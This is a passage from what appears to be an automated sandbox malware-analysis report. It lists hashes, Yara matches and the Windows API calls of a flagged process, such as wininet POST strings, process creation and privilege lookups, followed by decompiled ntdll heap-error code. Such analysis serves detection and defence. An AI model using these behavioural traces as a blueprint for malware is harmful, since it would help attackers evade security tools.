                                      • Opcode ID: 4c37cebc90be90ee92244365b7685e2ed7625568a26bcf0827cba07f4592a5e5
                                      • Instruction ID: ffa8637322872a11784a83da820e8cd80d27af00a3ec4d6f02f5232c6cf7758e
                                      • Opcode Fuzzy Hash: 4c37cebc90be90ee92244365b7685e2ed7625568a26bcf0827cba07f4592a5e5
                                      • Instruction Fuzzy Hash: 699002712110CC03D150A959840578A0019D7D1341F55C421A4414A58DC7D598D17661
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID:
                                      • API String ID: 2994545307-0
                                      • Opcode ID: 25ef175bb181433ab95e79feea0758ace527334aec0ba2461048d8bbc652535f
                                      • Instruction ID: edcfb678991ae68c4ae601a459136bd5be3670d782498000d6bc16e6f110517f
                                      • Opcode Fuzzy Hash: 25ef175bb181433ab95e79feea0758ace527334aec0ba2461048d8bbc652535f
                                      • Instruction Fuzzy Hash: C990027121104C43D140A9594405B860019D7E1341F51C026A0114A54DC755D8917A61
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID:
                                      • API String ID: 2994545307-0
                                      • Opcode ID: 407b4c1ffb38ad7ef87cba7bf8e35f5591a399b6e6329b2c57538c6e688d6dde
                                      • Instruction ID: 83c1425d841c06d4afc7cf4d04c336c76e336154ef225a33f6b13795ff8073f7
                                      • Opcode Fuzzy Hash: 407b4c1ffb38ad7ef87cba7bf8e35f5591a399b6e6329b2c57538c6e688d6dde
                                      • Instruction Fuzzy Hash: BF900265221044034145ED590705547005AD7D6391351C031F1005950CD76198A16661
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID:
                                      • API String ID: 2994545307-0
                                      • Opcode ID: e216f1b092db6d5d0d97115b898b4361cee206f89deea7d17646ab0b144578b8
                                      • Instruction ID: 2406aef53dd37e27da640bc3d871a09ae5a3f7cb3312dae082824b1147286f73
                                      • Opcode Fuzzy Hash: e216f1b092db6d5d0d97115b898b4361cee206f89deea7d17646ab0b144578b8
                                      • Instruction Fuzzy Hash: 2C9002B121104803D180B95944057860019D7D1341F51C021A5054954EC7999DD57BA5
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID:
                                      • API String ID: 2994545307-0
                                      • Opcode ID: 451f7b3e7569f2b15ab567c175411f54c6b9592cbbc7205abd3adcf98ac8f1cb
                                      • Instruction ID: 73f6754562360d50797e4abec8c30968b8927963c2f6d72913d8f81bdb27370c
                                      • Opcode Fuzzy Hash: 451f7b3e7569f2b15ab567c175411f54c6b9592cbbc7205abd3adcf98ac8f1cb
                                      • Instruction Fuzzy Hash: DA9002A1212044038145B9594415656401ED7E1241B51C031E1004990DC76598D17665
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID:
                                      • API String ID: 2994545307-0
                                      • Opcode ID: 843bff7bbaa07736c722b33d41ac9dc9a3203aea15da83a74e7c99e71eb61314
                                      • Instruction ID: 9966d289bd4c30c890b06ac1552c907cc00f8e2f37997653a3e75fc8708bfbe0
                                      • Opcode Fuzzy Hash: 843bff7bbaa07736c722b33d41ac9dc9a3203aea15da83a74e7c99e71eb61314
                                      • Instruction Fuzzy Hash: 299002A135104843D140A9594415B460019D7E2341F51C025E1054954DC759DC927666
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID:
                                      • API String ID: 2994545307-0
                                      • Opcode ID: 5ea9233287ad7b2af96c66991599bc887b39b2286572d1121b40271effd6aded
                                      • Instruction ID: 3b85938f5bdd84cab136ee64127682ac8606442c3e2af868e72fbfc8aff443b3
                                      • Opcode Fuzzy Hash: 5ea9233287ad7b2af96c66991599bc887b39b2286572d1121b40271effd6aded
                                      • Instruction Fuzzy Hash: BA90027121104813D151A9594505747001DD7D1281F91C422A0414958DD7969992B661
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID:
                                      • API String ID: 2994545307-0
                                      • Opcode ID: ce1876bdbad3225ae106b2daf5a389adc7975cbf674435e068ebe3b333236a34
                                      • Instruction ID: fea9d5e9e772d400a4daf75fbbc34a94857e630105213c83fd9ebfdfaa3b6222
                                      • Opcode Fuzzy Hash: ce1876bdbad3225ae106b2daf5a389adc7975cbf674435e068ebe3b333236a34
                                      • Instruction Fuzzy Hash: 0A900261252085539585F9594405547401AE7E1281791C022A1404D50CC766A896EB61
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • Sleep.KERNELBASE(000007D0), ref: 00886F88
                                      Strings
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: Sleep
                                      • String ID: POST$net.dll$wininet.dll
                                      • API String ID: 3472027048-3140911592
                                      • Opcode ID: ebfd2b1311b8b87208437d9432fa1de6f37487bd7e881527a37dc8f885f66d15
                                      • Instruction ID: 3e152676bb47663d912db7bd70d54940f1a400e01e77744db64e87327e485cb9
                                      • Opcode Fuzzy Hash: ebfd2b1311b8b87208437d9432fa1de6f37487bd7e881527a37dc8f885f66d15
                                      • Instruction Fuzzy Hash: AC31C371601605ABD710EFA8D891FABB7B8FF84304F10801DF6199B281EB71E955CBE1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • Sleep.KERNELBASE(000007D0), ref: 00886F88
                                      Strings
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: Sleep
                                      • String ID: net.dll$wininet.dll
                                      • API String ID: 3472027048-1269752229
                                      • Opcode ID: 896141145925a1edd3a6881bb4eef2b1e85788ba5c32980c1aebebf55a15fbe4
                                      • Instruction ID: 6649e9200236ca169fc7fed36c957f78b1bdfc4991c6aecd484f89e6f1c45908
                                      • Opcode Fuzzy Hash: 896141145925a1edd3a6881bb4eef2b1e85788ba5c32980c1aebebf55a15fbe4
                                      • Instruction Fuzzy Hash: 423180B1601304ABC711EF68D8A1FA7B7B8FB48700F04841DF65A9B241DB70E555CBA1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00873B93), ref: 008884FD
                                      Strings
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: FreeHeap
                                      • String ID: .z`
                                      • API String ID: 3298025750-1441809116
                                      • Opcode ID: 4fb0f18d199a813ac03abda80d27dcd398db702b4d9a4f6af751246d503fd121
                                      • Instruction ID: f485ccaa8f3047e71249f0eab9e518e594ac0b2d5e3fb486d0610bb0ee59c02c
                                      • Opcode Fuzzy Hash: 4fb0f18d199a813ac03abda80d27dcd398db702b4d9a4f6af751246d503fd121
                                      • Instruction Fuzzy Hash: EFF08CB2241625ABDB04EFA8DC45EEB336DEF84751F408559F90C9B282C631EA10CBF0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00873B93), ref: 008884FD
                                      Strings
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: FreeHeap
                                      • String ID: .z`
                                      • API String ID: 3298025750-1441809116
                                      • Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
                                      • Instruction ID: 1d1ec5315dfedd145aaf723589132488884960dc043b67f88c879c9d7885fe64
                                      • Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
                                      • Instruction Fuzzy Hash: A9E01AB1200204ABD714EF59CC45EA777ADEF88750F014554F90857241CA30E9108AB0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 008772BA
                                      • PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 008772DB
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: MessagePostThread
                                      • String ID:
                                      • API String ID: 1836367815-0
                                      • Opcode ID: 0d251a6efcd9bab6f901e207b7ee06c09f46ef66761929ea5bbfdc0c346a625e
                                      • Instruction ID: d845c0abde01c99c053f2ce7ed3063cc53e814bf33b43d64eec10feb7029a13e
                                      • Opcode Fuzzy Hash: 0d251a6efcd9bab6f901e207b7ee06c09f46ef66761929ea5bbfdc0c346a625e
                                      • Instruction Fuzzy Hash: 1801A731A9022876E724B6989C43FFE776CEB40B50F554115FF08FA1C2E6D4A90687F6
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 008772BA
                                      • PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 008772DB
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: MessagePostThread
                                      • String ID:
                                      • API String ID: 1836367815-0
                                      • Opcode ID: 1f6aa13b6fb36dbe4b846e982140fc8e980929cbfc7231c86ee1234139014ec1
                                      • Instruction ID: cedac0c4d8eb99da821d6230e999c3c4666a4683b24135b75095d5007036c9e3
                                      • Opcode Fuzzy Hash: 1f6aa13b6fb36dbe4b846e982140fc8e980929cbfc7231c86ee1234139014ec1
                                      • Instruction Fuzzy Hash: AFF04632A5021832E72079A46C03FFD7358FB40B10F090069FE49EA682EA90990983E2
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00879B92
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: Load
                                      • String ID:
                                      • API String ID: 2234796835-0
                                      • Opcode ID: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
                                      • Instruction ID: a8307f348003d079066e8af279611ecdede5654560479429cbcc3e0721802514
                                      • Opcode Fuzzy Hash: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
                                      • Instruction Fuzzy Hash: B9010CB5D0020DABDB10EAA4EC42F9DB7B8EB54318F008195E908D7285F631EA14CB92
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • LookupPrivilegeValueW.ADVAPI32(00000000,?,0087CFA2,0087CFA2,?,00000000,?,?), ref: 00888660
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: LookupPrivilegeValue
                                      • String ID:
                                      • API String ID: 3899507212-0
                                      • Opcode ID: 4ec992291ea0f24d0210a3767c46666292bce49b9621f397e1132fa06360ae9a
                                      • Instruction ID: 54f06176d6cf5be4305966905396d698bbdad05e54e0b349fcc9790dc097ccb1
                                      • Opcode Fuzzy Hash: 4ec992291ea0f24d0210a3767c46666292bce49b9621f397e1132fa06360ae9a
                                      • Instruction Fuzzy Hash: 240186B1600204AFDB24EF58CC48DE77769EF84350F45845AF94C9B742D934A910CBB1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 00888594
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: CreateInternalProcess
                                      • String ID:
                                      • API String ID: 2186235152-0
                                      • Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
                                      • Instruction ID: e618c8cd097d73461e27a5bdf2774f27ab2543e1a279f8bd0d5081a79a764db8
                                      • Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
                                      • Instruction Fuzzy Hash: AB01AFB2210108ABCB54DF89DC80EEB77ADAF8C754F158258FA0D97241CA30E851CBA4
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 00888594
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: CreateInternalProcess
                                      • String ID:
                                      • API String ID: 2186235152-0
                                      • Opcode ID: 6cd021fe74d0c42058faa80edfcaad456b63a7c37527280b39a92de2b3e9c3f0
                                      • Instruction ID: 4fa9468c71932dea3fd3815683ae48f6518e9308b9eb82220cf4e615e78e5e09
                                      • Opcode Fuzzy Hash: 6cd021fe74d0c42058faa80edfcaad456b63a7c37527280b39a92de2b3e9c3f0
                                      • Instruction Fuzzy Hash: B501EFB2205149AFCB54DF88DC81EEB7BADAF8C354F158248FA0997251D630E855CBA0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,0087CCD0,?,?), ref: 0088704C
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: CreateThread
                                      • String ID:
                                      • API String ID: 2422867632-0
                                      • Opcode ID: 2c2d6e9fc8acbb6a6a71e86f53d40af0ca2f90e141fcb166cc422036d803619c
                                      • Instruction ID: 16fd0018ce4d7d556b55620d90f528bf656d2e9b4e16970c184b622a72d2e195
                                      • Opcode Fuzzy Hash: 2c2d6e9fc8acbb6a6a71e86f53d40af0ca2f90e141fcb166cc422036d803619c
                                      • Instruction Fuzzy Hash: B4E06D333903043AE230759D9C02FA7B39CDB81B21F540026FA0DEA2C1D595F90142A5
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • RtlAllocateHeap.NTDLL(00883516,?,00883C8F,00883C8F,?,00883516,?,?,?,?,?,00000000,00000000,?), ref: 008884BD
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: AllocateHeap
                                      • String ID:
                                      • API String ID: 1279760036-0
                                      • Opcode ID: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
                                      • Instruction ID: 6f6ed090e10f2c9905dc042f0d6100a62227be1656d7a72f51ac733bfc2dca2c
                                      • Opcode Fuzzy Hash: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
                                      • Instruction Fuzzy Hash: 68E012B1200208ABDB14EF99CC41EA777ADEF88750F118558FA089B282CA30F9108BB0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • LookupPrivilegeValueW.ADVAPI32(00000000,?,0087CFA2,0087CFA2,?,00000000,?,?), ref: 00888660
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: LookupPrivilegeValue
                                      • String ID:
                                      • API String ID: 3899507212-0
                                      • Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
                                      • Instruction ID: 6fb5e1d7c1dda25aafe2f9e0dc7f54f200c1fc99036915f80d6d8510b31c74e0
                                      • Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
                                      • Instruction Fuzzy Hash: 1FE01AB1200208ABDB10EF49CC85EE737ADEF88750F018554FA0857241C930E8108BF5
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • SetErrorMode.KERNELBASE(00008003,?,?,00877C63,?), ref: 0087D43B
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: ErrorMode
                                      • String ID:
                                      • API String ID: 2340568224-0
                                      • Opcode ID: 72eca698344053b10932cb762c39be3cac600bbb8685e467f9e98ee67a1e0991
                                      • Instruction ID: f59a3d48729411d6aed8a6c7b8a757f1e12df062bb48e1c40f1fbd3a37800bca
                                      • Opcode Fuzzy Hash: 72eca698344053b10932cb762c39be3cac600bbb8685e467f9e98ee67a1e0991
                                      • Instruction Fuzzy Hash: FCD012766503042AEB10AAE4DC03F167394AB54B04F494064F949E7383D560E9004691
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • SetErrorMode.KERNELBASE(00008003,?,?,00877C63,?), ref: 0087D43B
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: false
                                      Yara matches
                                      Similarity
                                      • API ID: ErrorMode
                                      • String ID:
                                      • API String ID: 2340568224-0
                                      • Opcode ID: 49ec7ea19b45082ce71059444928ac468c46794dc6bfedb52c16374b2d1231c4
                                      • Instruction ID: bc6683d086b6c7b30876cae8bf60b75157fc475b6ec48acb840e52efb38e13f8
                                      • Opcode Fuzzy Hash: 49ec7ea19b45082ce71059444928ac468c46794dc6bfedb52c16374b2d1231c4
                                      • Instruction Fuzzy Hash: 92D05E627503043AEA10BAA8DC03F263288AB54B00F494064F94DE62C3D960E5004565
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID:
                                      • API String ID: 2994545307-0
                                      • Opcode ID: 01e224ee5b4f832f466b479284dc9c9cd900e9111ec09623627f8ac1c6fccfe0
                                      • Instruction ID: 7eaa5f4996cb029ef7376e3a715b77c31279e469bdd69fe471e30041106778d4
                                      • Opcode Fuzzy Hash: 01e224ee5b4f832f466b479284dc9c9cd900e9111ec09623627f8ac1c6fccfe0
                                      • Instruction Fuzzy Hash: 69B02B718014C8C6E600DB6007087173904BBC1300F26C061D1020640A4338C0D0FAB1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Non-executed Functions

                                      Strings
                                      • *** Inpage error in %ws:%s, xrefs: 0371B418
                                      • read from, xrefs: 0371B4AD, 0371B4B2
                                      • write to, xrefs: 0371B4A6
                                      • *** Resource timeout (%p) in %ws:%s, xrefs: 0371B352
                                      • Go determine why that thread has not released the critical section., xrefs: 0371B3C5
                                      • The resource is owned shared by %d threads, xrefs: 0371B37E
                                      • *** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 0371B2DC
                                      • *** then kb to get the faulting stack, xrefs: 0371B51C
                                      • This failed because of error %Ix., xrefs: 0371B446
                                      • If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 0371B314
                                      • *** enter .exr %p for the exception record, xrefs: 0371B4F1
                                      • an invalid address, %p, xrefs: 0371B4CF
                                      • This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 0371B47D
                                      • This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 0371B484
                                      • The instruction at %p tried to %s , xrefs: 0371B4B6
                                      • *** An Access Violation occurred in %ws:%s, xrefs: 0371B48F
                                      • The critical section is owned by thread %p., xrefs: 0371B3B9
                                      • The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 0371B323
                                      • *** A stack buffer overrun occurred in %ws:%s, xrefs: 0371B2F3
                                      • *** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 0371B53F
                                      • *** Critical Section Timeout (%p) in %ws:%s, xrefs: 0371B39B
                                      • This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 0371B305
                                      • The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0371B38F
                                      • The instruction at %p referenced memory at %p., xrefs: 0371B432
                                      • The resource is owned exclusively by thread %p, xrefs: 0371B374
                                      • a NULL pointer, xrefs: 0371B4E0
                                      • *** enter .cxr %p for the context, xrefs: 0371B50D
                                      • <unknown>, xrefs: 0371B27E, 0371B2D1, 0371B350, 0371B399, 0371B417, 0371B48E
                                      • This means that the I/O device reported an I/O error. Check your hardware., xrefs: 0371B476
                                      • The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0371B3D6
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
                                      • API String ID: 0-108210295
                                      • Opcode ID: 75ad1d3d9276e0c6b71da19143a00966307b14145f831a4f3bab33d2453f7a55
                                      • Instruction ID: e122c492cacc694277c5eae2fdb32234c12e490e32bc2e724b5457200e6f6052
                                      • Opcode Fuzzy Hash: 75ad1d3d9276e0c6b71da19143a00966307b14145f831a4f3bab33d2453f7a55
                                      • Instruction Fuzzy Hash: BA810376A40200FFCB21EB49CC89D6E3F26EF4BB51F444098FA056F152D3659961EBB2
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 44%
                                      			E03721C06() {
                                      				signed int _t27;
                                      				char* _t104;
                                      				char* _t105;
                                      				intOrPtr _t113;
                                      				intOrPtr _t115;
                                      				intOrPtr _t117;
                                      				intOrPtr _t119;
                                      				intOrPtr _t120;
                                      
                                      				_t105 = 0x36448a4;
                                      				_t104 = "HEAP: ";
                                      				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
                                      					_push(_t104);
                                      					E0366B150();
                                      				} else {
                                      					E0366B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
                                      				}
                                      				_push( *0x375589c);
                                      				E0366B150("Heap error detected at %p (heap handle %p)\n",  *0x37558a0);
                                      				_t27 =  *0x3755898; // 0x0
                                      				if(_t27 <= 0xf) {
                                      					switch( *((intOrPtr*)(_t27 * 4 +  &M03721E96))) {
                                      						case 0:
                                      							_t105 = "heap_failure_internal";
                                      							goto L21;
                                      						case 1:
                                      							goto L21;
                                      						case 2:
                                      							goto L21;
                                      						case 3:
                                      							goto L21;
                                      						case 4:
                                      							goto L21;
                                      						case 5:
                                      							goto L21;
                                      						case 6:
                                      							goto L21;
                                      						case 7:
                                      							goto L21;
                                      						case 8:
                                      							goto L21;
                                      						case 9:
                                      							goto L21;
                                      						case 0xa:
                                      							goto L21;
                                      						case 0xb:
                                      							goto L21;
                                      						case 0xc:
                                      							goto L21;
                                      						case 0xd:
                                      							goto L21;
                                      						case 0xe:
                                      							goto L21;
                                      						case 0xf:
                                      							goto L21;
                                      					}
                                      				}
                                      				L21:
                                      				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
                                      					_push(_t104);
                                      					E0366B150();
                                      				} else {
                                      					E0366B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
                                      				}
                                      				_push(_t105);
                                      				E0366B150("Error code: %d - %s\n",  *0x3755898);
                                      				_t113 =  *0x37558a4; // 0x0
                                      				if(_t113 != 0) {
                                      					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
                                      						_push(_t104);
                                      						E0366B150();
                                      					} else {
                                      						E0366B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
                                      					}
                                      					E0366B150("Parameter1: %p\n",  *0x37558a4);
                                      				}
                                      				_t115 =  *0x37558a8; // 0x0
                                      				if(_t115 != 0) {
                                      					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
                                      						_push(_t104);
                                      						E0366B150();
                                      					} else {
                                      						E0366B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
                                      					}
                                      					E0366B150("Parameter2: %p\n",  *0x37558a8);
                                      				}
                                      				_t117 =  *0x37558ac; // 0x0
                                      				if(_t117 != 0) {
                                      					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
                                      						_push(_t104);
                                      						E0366B150();
                                      					} else {
                                      						E0366B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
                                      					}
                                      					E0366B150("Parameter3: %p\n",  *0x37558ac);
                                      				}
                                      				_t119 =  *0x37558b0; // 0x0
                                      				if(_t119 != 0) {
                                      					L41:
                                      					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
                                      						_push(_t104);
                                      						E0366B150();
                                      					} else {
